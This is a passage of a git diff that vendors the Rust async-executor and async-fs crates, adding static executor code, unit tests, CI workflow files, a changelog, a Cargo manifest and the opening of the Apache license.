AsyncCallOnDrop { + fn new(future: Fut, cleanup: Cleanup) -> Self { + Self { + future, + cleanup: CallOnDrop(cleanup), + } + } +} + +impl Future for AsyncCallOnDrop { + type Output = Fut::Output; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + self.project().future.poll(cx) + } +} + +fn _ensure_send_and_sync() { + use futures_lite::future::pending; + + fn is_send(_: T) {} + fn is_sync(_: T) {} + fn is_static(_: T) {} + + is_send::>(Executor::new()); + is_sync::>(Executor::new()); + + let ex = Executor::new(); + let state = ex.state(); + is_send(ex.run(pending::<()>())); + is_sync(ex.run(pending::<()>())); + is_send(ex.tick()); + is_sync(ex.tick()); + is_send(Executor::schedule(state)); + is_sync(Executor::schedule(state)); + is_static(Executor::schedule(state)); + + /// ```compile_fail + /// use async_executor::LocalExecutor; + /// use futures_lite::future::pending; + /// + /// fn is_send(_: T) {} + /// fn is_sync(_: T) {} + /// + /// is_send::>(LocalExecutor::new()); + /// is_sync::>(LocalExecutor::new()); + /// + /// let ex = LocalExecutor::new(); + /// is_send(ex.run(pending::<()>())); + /// is_sync(ex.run(pending::<()>())); + /// is_send(ex.tick()); + /// is_sync(ex.tick()); + /// ``` + fn _negative_test() {} +} diff --git a/lib/malio/async-executor/src/static_executors.rs b/lib/malio/async-executor/src/static_executors.rs new file mode 100644 index 0000000..2ad0403 --- /dev/null +++ b/lib/malio/async-executor/src/static_executors.rs @@ -0,0 +1,494 @@ +use crate::{debug_state, Executor, LocalExecutor, State}; +use async_task::{Builder, Runnable, Task}; +use slab::Slab; +use std::{ + cell::UnsafeCell, + fmt, + future::Future, + marker::PhantomData, + panic::{RefUnwindSafe, UnwindSafe}, + sync::{atomic::Ordering, PoisonError}, +}; + +impl Executor<'static> { + /// Consumes the [`Executor`] and intentionally leaks it. + /// + /// Largely equivalent to calling `Box::leak(Box::new(executor))`, but the produced + /// [`StaticExecutor`]'s functions are optimized to require fewer synchronizing operations + /// when spawning, running, and finishing tasks. + /// + /// `StaticExecutor` cannot be converted back into a `Executor`, so this operation is + /// irreversible without the use of unsafe. + /// + /// # Example + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(ex.run(task)); + /// ``` + pub fn leak(self) -> &'static StaticExecutor { + let ptr = self.state.load(Ordering::Relaxed); + + let state: &'static State = if ptr.is_null() { + Box::leak(Box::new(State::new())) + } else { + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // when accessed through state_ptr. This executor will live for the full 'static + // lifetime so this isn't an arbitrary lifetime extension. + unsafe { &*ptr } + }; + + std::mem::forget(self); + + let mut active = state.active.lock().unwrap_or_else(PoisonError::into_inner); + if !active.is_empty() { + // Reschedule all of the active tasks. + for waker in active.drain() { + waker.wake(); + } + // Overwrite to ensure that the slab is deallocated. + *active = Slab::new(); + } + + // SAFETY: StaticExecutor has the same memory layout as State as it's repr(transparent). + // The lifetime is not altered: 'static -> 'static. + let static_executor: &'static StaticExecutor = unsafe { std::mem::transmute(state) }; + static_executor + } +} + +impl LocalExecutor<'static> { + /// Consumes the [`LocalExecutor`] and intentionally leaks it. + /// + /// Largely equivalent to calling `Box::leak(Box::new(executor))`, but the produced + /// [`StaticLocalExecutor`]'s functions are optimized to require fewer synchronizing operations + /// when spawning, running, and finishing tasks. + /// + /// `StaticLocalExecutor` cannot be converted back into a `Executor`, so this operation is + /// irreversible without the use of unsafe. + /// + /// # Example + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(ex.run(task)); + /// ``` + pub fn leak(self) -> &'static StaticLocalExecutor { + let ptr = self.inner.state.load(Ordering::Relaxed); + + let state: &'static State = if ptr.is_null() { + Box::leak(Box::new(State::new())) + } else { + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // when accessed through state_ptr. This executor will live for the full 'static + // lifetime so this isn't an arbitrary lifetime extension. + unsafe { &*ptr } + }; + + std::mem::forget(self); + + let mut active = state.active.lock().unwrap_or_else(PoisonError::into_inner); + if !active.is_empty() { + // Reschedule all of the active tasks. + for waker in active.drain() { + waker.wake(); + } + // Overwrite to ensure that the slab is deallocated. + *active = Slab::new(); + } + + // SAFETY: StaticLocalExecutor has the same memory layout as State as it's repr(transparent). + // The lifetime is not altered: 'static -> 'static. + let static_executor: &'static StaticLocalExecutor = unsafe { std::mem::transmute(state) }; + static_executor + } +} + +/// A static-lifetimed async [`Executor`]. +/// +/// This is primarily intended to be used in [`static`] variables, or types intended to be used, or can be created in non-static +/// contexts via [`Executor::leak`]. +/// +/// Spawning, running, and finishing tasks are optimized with the assumption that the executor will never be `Drop`'ed. +/// A static executor may require signficantly less overhead in both single-threaded and mulitthreaded use cases. +/// +/// As this type does not implement `Drop`, losing the handle to the executor or failing +/// to consistently drive the executor with [`StaticExecutor::tick`] or +/// [`StaticExecutor::run`] will cause the all spawned tasks to permanently leak. Any +/// tasks at the time will not be cancelled. +/// +/// [`static`]: https://doc.rust-lang.org/std/keyword.static.html +#[repr(transparent)] +pub struct StaticExecutor { + state: State, +} + +// SAFETY: Executor stores no thread local state that can be accessed via other thread. +unsafe impl Send for StaticExecutor {} +// SAFETY: Executor internally synchronizes all of it's operations internally. +unsafe impl Sync for StaticExecutor {} + +impl UnwindSafe for StaticExecutor {} +impl RefUnwindSafe for StaticExecutor {} + +impl fmt::Debug for StaticExecutor { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_state(&self.state, "StaticExecutor", f) + } +} + +impl StaticExecutor { + /// Creates a new StaticExecutor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// ``` + pub const fn new() -> Self { + Self { + state: State::new(), + } + } + + /// Spawns a task onto the executor. + /// + /// Note: unlike [`Executor::spawn`], this function requires being called with a `'static` + /// borrow on the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn( + &'static self, + future: impl Future + Send + 'static, + ) -> Task { + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn(|()| future, self.schedule()); + runnable.schedule(); + task + } + + /// Spawns a non-`'static` task onto the executor. + /// + /// ## Safety + /// + /// The caller must ensure that the returned task terminates + /// or is cancelled before the end of 'a. + pub unsafe fn spawn_scoped<'a, T: Send + 'a>( + &'static self, + future: impl Future + Send + 'a, + ) -> Task { + // SAFETY: + // + // - `future` is `Send` + // - `future` is not `'static`, but the caller guarantees that the + // task, and thus its `Runnable` must not live longer than `'a`. + // - `self.schedule()` is `Send`, `Sync` and `'static`, as checked below. + // Therefore we do not need to worry about what is done with the + // `Waker`. + let (runnable, task) = unsafe { + Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, self.schedule()) + }; + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// assert!(!EXECUTOR.try_tick()); // no tasks to run + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// assert!(EXECUTOR.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state.try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// use futures_lite::future; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { + /// println!("Hello world"); + /// }); + /// + /// future::block_on(EXECUTOR.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state.tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticExecutor; + /// use futures_lite::future; + /// + /// static EXECUTOR: StaticExecutor = StaticExecutor::new(); + /// + /// let task = EXECUTOR.spawn(async { 1 + 2 }); + /// let res = future::block_on(EXECUTOR.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state.run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(&'static self) -> impl Fn(Runnable) + Send + Sync + 'static { + let state: &'static State = &self.state; + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } +} + +impl Default for StaticExecutor { + fn default() -> Self { + Self::new() + } +} + +/// A static async [`LocalExecutor`] created from [`LocalExecutor::leak`]. +/// +/// This is primarily intended to be used in [`thread_local`] variables, or can be created in non-static +/// contexts via [`LocalExecutor::leak`]. +/// +/// Spawning, running, and finishing tasks are optimized with the assumption that the executor will never be `Drop`'ed. +/// A static executor may require signficantly less overhead in both single-threaded and mulitthreaded use cases. +/// +/// As this type does not implement `Drop`, losing the handle to the executor or failing +/// to consistently drive the executor with [`StaticLocalExecutor::tick`] or +/// [`StaticLocalExecutor::run`] will cause the all spawned tasks to permanently leak. Any +/// tasks at the time will not be cancelled. +/// +/// [`thread_local]: https://doc.rust-lang.org/std/macro.thread_local.html +#[repr(transparent)] +pub struct StaticLocalExecutor { + state: State, + marker_: PhantomData>, +} + +impl UnwindSafe for StaticLocalExecutor {} +impl RefUnwindSafe for StaticLocalExecutor {} + +impl fmt::Debug for StaticLocalExecutor { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_state(&self.state, "StaticLocalExecutor", f) + } +} + +impl StaticLocalExecutor { + /// Creates a new StaticLocalExecutor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::StaticLocalExecutor; + /// + /// thread_local! { + /// static EXECUTOR: StaticLocalExecutor = StaticLocalExecutor::new(); + /// } + /// ``` + pub const fn new() -> Self { + Self { + state: State::new(), + marker_: PhantomData, + } + } + + /// Spawns a task onto the executor. + /// + /// Note: unlike [`LocalExecutor::spawn`], this function requires being called with a `'static` + /// borrow on the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&'static self, future: impl Future + 'static) -> Task { + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn_local(|()| future, self.schedule()); + runnable.schedule(); + task + } + + /// Spawns a non-`'static` task onto the executor. + /// + /// ## Safety + /// + /// The caller must ensure that the returned task terminates + /// or is cancelled before the end of 'a. + pub unsafe fn spawn_scoped<'a, T: 'a>( + &'static self, + future: impl Future + 'a, + ) -> Task { + // SAFETY: + // + // - `future` is not `Send` but `StaticLocalExecutor` is `!Sync`, + // `try_tick`, `tick` and `run` can only be called from the origin + // thread of the `StaticLocalExecutor`. Similarly, `spawn_scoped` can only + // be called from the origin thread, ensuring that `future` and the executor + // share the same origin thread. The `Runnable` can be scheduled from other + // threads, but because of the above `Runnable` can only be called or + // dropped on the origin thread. + // - `future` is not `'static`, but the caller guarantees that the + // task, and thus its `Runnable` must not live longer than `'a`. + // - `self.schedule()` is `Send`, `Sync` and `'static`, as checked below. + // Therefore we do not need to worry about what is done with the + // `Waker`. + let (runnable, task) = unsafe { + Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, self.schedule()) + }; + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new().leak(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state.try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state.tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new().leak(); + /// + /// let task = ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state.run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(&'static self) -> impl Fn(Runnable) + Send + Sync + 'static { + let state: &'static State = &self.state; + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } +} + +impl Default for StaticLocalExecutor { + fn default() -> Self { + Self::new() + } +} diff --git a/lib/malio/async-executor/tests/different_executors.rs b/lib/malio/async-executor/tests/different_executors.rs new file mode 100644 index 0000000..afef3be --- /dev/null +++ b/lib/malio/async-executor/tests/different_executors.rs @@ -0,0 +1,34 @@ +use async_executor::LocalExecutor; +use futures_lite::future::{block_on, pending, poll_once}; +use futures_lite::pin; +use std::cell::Cell; + +#[test] +fn shared_queue_slot() { + block_on(async { + let was_polled = Cell::new(false); + let future = async { + was_polled.set(true); + pending::<()>().await; + }; + + let ex1 = LocalExecutor::new(); + let ex2 = LocalExecutor::new(); + + // Start the futures for running forever. + let (run1, run2) = (ex1.run(pending::<()>()), ex2.run(pending::<()>())); + pin!(run1); + pin!(run2); + assert!(poll_once(run1.as_mut()).await.is_none()); + assert!(poll_once(run2.as_mut()).await.is_none()); + + // Spawn the future on executor one and then poll executor two. + ex1.spawn(future).detach(); + assert!(poll_once(run2).await.is_none()); + assert!(!was_polled.get()); + + // Poll the first one. + assert!(poll_once(run1).await.is_none()); + assert!(was_polled.get()); + }); +} diff --git a/lib/malio/async-executor/tests/drop.rs b/lib/malio/async-executor/tests/drop.rs new file mode 100644 index 0000000..5d089b5 --- /dev/null +++ b/lib/malio/async-executor/tests/drop.rs @@ -0,0 +1,147 @@ +#[cfg(not(miri))] +use std::mem; +use std::panic::catch_unwind; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::Mutex; +use std::task::{Poll, Waker}; + +use async_executor::{Executor, Task}; +use futures_lite::future; +use once_cell::sync::Lazy; + +#[test] +fn executor_cancels_everything() { + static DROP: AtomicUsize = AtomicUsize::new(0); + static WAKER: Lazy>> = Lazy::new(Default::default); + + let ex = Executor::new(); + + let task = ex.spawn(async { + let _guard = CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }); + + future::poll_fn(|cx| { + *WAKER.lock().unwrap() = Some(cx.waker().clone()); + Poll::Pending::<()> + }) + .await; + }); + + future::block_on(ex.tick()); + assert!(WAKER.lock().unwrap().is_some()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 1); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[cfg(not(miri))] +#[test] +fn leaked_executor_leaks_everything() { + static DROP: AtomicUsize = AtomicUsize::new(0); + static WAKER: Lazy>> = Lazy::new(Default::default); + + let ex = Executor::new(); + + let task = ex.spawn(async { + let _guard = CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }); + + future::poll_fn(|cx| { + *WAKER.lock().unwrap() = Some(cx.waker().clone()); + Poll::Pending::<()> + }) + .await; + }); + + future::block_on(ex.tick()); + assert!(WAKER.lock().unwrap().is_some()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + mem::forget(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + + assert!(future::block_on(future::poll_once(task)).is_none()); + assert_eq!(DROP.load(Ordering::SeqCst), 0); +} + +#[test] +fn await_task_after_dropping_executor() { + let s: String = "hello".into(); + + let ex = Executor::new(); + let task: Task<&str> = ex.spawn(async { &*s }); + assert!(ex.try_tick()); + + drop(ex); + assert_eq!(future::block_on(task), "hello"); + drop(s); +} + +#[test] +fn drop_executor_and_then_drop_finished_task() { + static DROP: AtomicUsize = AtomicUsize::new(0); + + let ex = Executor::new(); + let task = ex.spawn(async { + CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }) + }); + assert!(ex.try_tick()); + + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(task); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[test] +fn drop_finished_task_and_then_drop_executor() { + static DROP: AtomicUsize = AtomicUsize::new(0); + + let ex = Executor::new(); + let task = ex.spawn(async { + CallOnDrop(|| { + DROP.fetch_add(1, Ordering::SeqCst); + }) + }); + assert!(ex.try_tick()); + + assert_eq!(DROP.load(Ordering::SeqCst), 0); + drop(task); + assert_eq!(DROP.load(Ordering::SeqCst), 1); + drop(ex); + assert_eq!(DROP.load(Ordering::SeqCst), 1); +} + +#[test] +fn iterator_panics_mid_run() { + let ex = Executor::new(); + + let panic = std::panic::catch_unwind(|| { + let mut handles = vec![]; + ex.spawn_many( + (0..50).map(|i| if i == 25 { panic!() } else { future::ready(i) }), + &mut handles, + ) + }); + assert!(panic.is_err()); + + let task = ex.spawn(future::ready(0)); + assert_eq!(future::block_on(ex.run(task)), 0); +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/async-executor/tests/larger_tasks.rs b/lib/malio/async-executor/tests/larger_tasks.rs new file mode 100644 index 0000000..cc57988 --- /dev/null +++ b/lib/malio/async-executor/tests/larger_tasks.rs @@ -0,0 +1,99 @@ +//! Test for larger tasks. + +use async_executor::Executor; +use futures_lite::future::{self, block_on}; +use futures_lite::prelude::*; + +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +fn do_run>(mut f: impl FnMut(Arc>) -> Fut) { + // This should not run for longer than two minutes. + #[cfg(not(miri))] + let _stop_timeout = { + let (stop_timeout, stopper) = async_channel::bounded::<()>(1); + thread::spawn(move || { + block_on(async move { + let timeout = async { + async_io::Timer::after(Duration::from_secs(2 * 60)).await; + eprintln!("test timed out after 2m"); + std::process::exit(1) + }; + + let _ = stopper.recv().or(timeout).await; + }) + }); + stop_timeout + }; + + let ex = Arc::new(Executor::new()); + + // Test 1: Use the `run` command. + block_on(ex.run(f(ex.clone()))); + + // Test 2: Loop on `tick`. + block_on(async { + let ticker = async { + loop { + ex.tick().await; + } + }; + + f(ex.clone()).or(ticker).await + }); + + // Test 3: Run on many threads. + thread::scope(|scope| { + let (_signal, shutdown) = async_channel::bounded::<()>(1); + + for _ in 0..16 { + let shutdown = shutdown.clone(); + let ex = &ex; + scope.spawn(move || block_on(ex.run(shutdown.recv()))); + } + + block_on(f(ex.clone())); + }); + + // Test 4: Tick loop on many threads. + thread::scope(|scope| { + let (_signal, shutdown) = async_channel::bounded::<()>(1); + + for _ in 0..16 { + let shutdown = shutdown.clone(); + let ex = &ex; + scope.spawn(move || { + block_on(async move { + let ticker = async { + loop { + ex.tick().await; + } + }; + + shutdown.recv().or(ticker).await + }) + }); + } + + block_on(f(ex.clone())); + }); +} + +#[test] +fn smoke() { + do_run(|ex| async move { ex.spawn(async {}).await }); +} + +#[test] +fn yield_now() { + do_run(|ex| async move { ex.spawn(future::yield_now()).await }) +} + +#[test] +fn timer() { + do_run(|ex| async move { + ex.spawn(async_io::Timer::after(Duration::from_millis(5))) + .await; + }) +} diff --git a/lib/malio/async-executor/tests/local_queue.rs b/lib/malio/async-executor/tests/local_queue.rs new file mode 100644 index 0000000..4678366 --- /dev/null +++ b/lib/malio/async-executor/tests/local_queue.rs @@ -0,0 +1,24 @@ +use async_executor::Executor; +use futures_lite::{future, pin}; + +#[test] +fn two_queues() { + future::block_on(async { + // Create an executor with two runners. + let ex = Executor::new(); + let (run1, run2) = ( + ex.run(future::pending::<()>()), + ex.run(future::pending::<()>()), + ); + let mut run1 = Box::pin(run1); + pin!(run2); + + // Poll them both. + assert!(future::poll_once(run1.as_mut()).await.is_none()); + assert!(future::poll_once(run2.as_mut()).await.is_none()); + + // Drop the first one, which should leave the local queue in the `None` state. + drop(run1); + assert!(future::poll_once(run2.as_mut()).await.is_none()); + }); +} diff --git a/lib/malio/async-executor/tests/panic_prop.rs b/lib/malio/async-executor/tests/panic_prop.rs new file mode 100644 index 0000000..eab4901 --- /dev/null +++ b/lib/malio/async-executor/tests/panic_prop.rs @@ -0,0 +1,14 @@ +use async_executor::Executor; +use futures_lite::{future, prelude::*}; + +#[test] +fn test_panic_propagation() { + let ex = Executor::new(); + let task = ex.spawn(async { panic!("should be caught by the task") }); + + // Running the executor should not panic. + assert!(ex.try_tick()); + + // Polling the task should. + assert!(future::block_on(task.catch_unwind()).is_err()); +} diff --git a/lib/malio/async-executor/tests/spawn_many.rs b/lib/malio/async-executor/tests/spawn_many.rs new file mode 100644 index 0000000..cebe2d3 --- /dev/null +++ b/lib/malio/async-executor/tests/spawn_many.rs @@ -0,0 +1,45 @@ +use async_executor::{Executor, LocalExecutor}; +use futures_lite::future; + +#[cfg(not(miri))] +const READY_COUNT: usize = 50_000; +#[cfg(miri)] +const READY_COUNT: usize = 505; + +#[test] +fn spawn_many() { + future::block_on(async { + let ex = Executor::new(); + + // Spawn a lot of tasks. + let mut tasks = vec![]; + ex.spawn_many((0..READY_COUNT).map(future::ready), &mut tasks); + + // Run all of the tasks in parallel. + ex.run(async move { + for (i, task) in tasks.into_iter().enumerate() { + assert_eq!(task.await, i); + } + }) + .await; + }); +} + +#[test] +fn spawn_many_local() { + future::block_on(async { + let ex = LocalExecutor::new(); + + // Spawn a lot of tasks. + let mut tasks = vec![]; + ex.spawn_many((0..READY_COUNT).map(future::ready), &mut tasks); + + // Run all of the tasks in parallel. + ex.run(async move { + for (i, task) in tasks.into_iter().enumerate() { + assert_eq!(task.await, i); + } + }) + .await; + }); +} diff --git a/lib/malio/async-fs/.github/dependabot.yml b/lib/malio/async-fs/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-fs/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-fs/.github/workflows/ci.yml b/lib/malio/async-fs/.github/workflows/ci.yml new file mode 100644 index 0000000..157e647 --- /dev/null +++ b/lib/malio/async-fs/.github/workflows/ci.yml @@ -0,0 +1,75 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # Windows for windows module. + additional-targets: x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version diff --git a/lib/malio/async-fs/.github/workflows/release.yml b/lib/malio/async-fs/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-fs/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-fs/.gitignore b/lib/malio/async-fs/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-fs/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-fs/CHANGELOG.md b/lib/malio/async-fs/CHANGELOG.md new file mode 100644 index 0000000..798983d --- /dev/null +++ b/lib/malio/async-fs/CHANGELOG.md @@ -0,0 +1,78 @@ +# Version 2.2.0 + +- Bump MSRV to 1.71. (#50) +- Update to `windows-sys` v0.61. (#50) + +# Version 2.1.3 + +- Update `windows-sys` to v0.60. (#46) + +# Version 2.1.2 + +- Ensure that the docs for `create_dir_all` are close to the equivalent function + in libstd. (#35) + +# Version 2.1.1 + +- Fix a copy/paste error in documentation. (#33) + +# Version 2.1.0 + +- Bump `async-lock` and `futures-lite` to their latest versions. (#27, #28) + +# Version 2.0.0 + +- **Breaking:** Seal extension traits. (#20) +- **Breaking:** Remove unsafe implementations of the `FromRawFd`/`FromRawHandle` traits. (#26) +- Avoid using a `build.rs` script for feature autodetection. (#17) +- Remove the `autocfg` dependency. (#18) +- Avoid a heap allocation in the `ReadDir` implementation. (#23) + +# Version 1.6.0 + +- Implement I/O safety traits on Rust 1.63+ (#13) + +# Version 1.5.0 + +- Replace `&mut self` with `&self` on the following methods: + - `File::sync_data()` + - `File::sync_all()` + - `File::set_len()` + +# Version 1.4.0 + +- Define new extension traits instead of implementing those from `std`. + +# Version 1.3.0 + +- Implement `FromRawFd`/`FromRawHandle` for `File`. +- Implement `OpenOptionsExt` for `OpenOptions` on Windows. +- Re-export some extension traits into OS-specific modules. + +# Version 1.2.1 + +- Optimization: Don't flush if the file is already flushed. + +# Version 1.2.0 + +- Update `blocking` to v1.0 + +# Version 1.1.2 + +- Do not reposition the cursor if the file is not seekable. + +# Version 1.1.1 + +- Update dependencies. + +# Version 1.1.0 + +- Implement `From` for `File`. + +# Version 1.0.1 + +- Fix build error on https://docs.rs + +# Version 1.0.0 + +- Initial version diff --git a/lib/malio/async-fs/Cargo.toml b/lib/malio/async-fs/Cargo.toml new file mode 100644 index 0000000..1f21223 --- /dev/null +++ b/lib/malio/async-fs/Cargo.toml @@ -0,0 +1,31 @@ +[package] +name = "async-fs" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.2.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async filesystem primitives" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-fs" +homepage = "https://github.com/smol-rs/async-fs" +documentation = "https://docs.rs/async-fs" +keywords = ["asynchronous", "file", "filesystem", "io"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +async-lock = "3.0.0" +blocking = "1.3.0" +futures-lite = "2.0.0" + +[target.'cfg(unix)'.dev-dependencies] +libc = "0.2.78" + +[target.'cfg(windows)'.dev-dependencies.windows-sys] +version = "0.61" +features = [ + "Win32_Storage_FileSystem", +] diff --git a/lib/malio/async-fs/LICENSE-APACHE b/lib/malio/async-fs/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-fs/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, 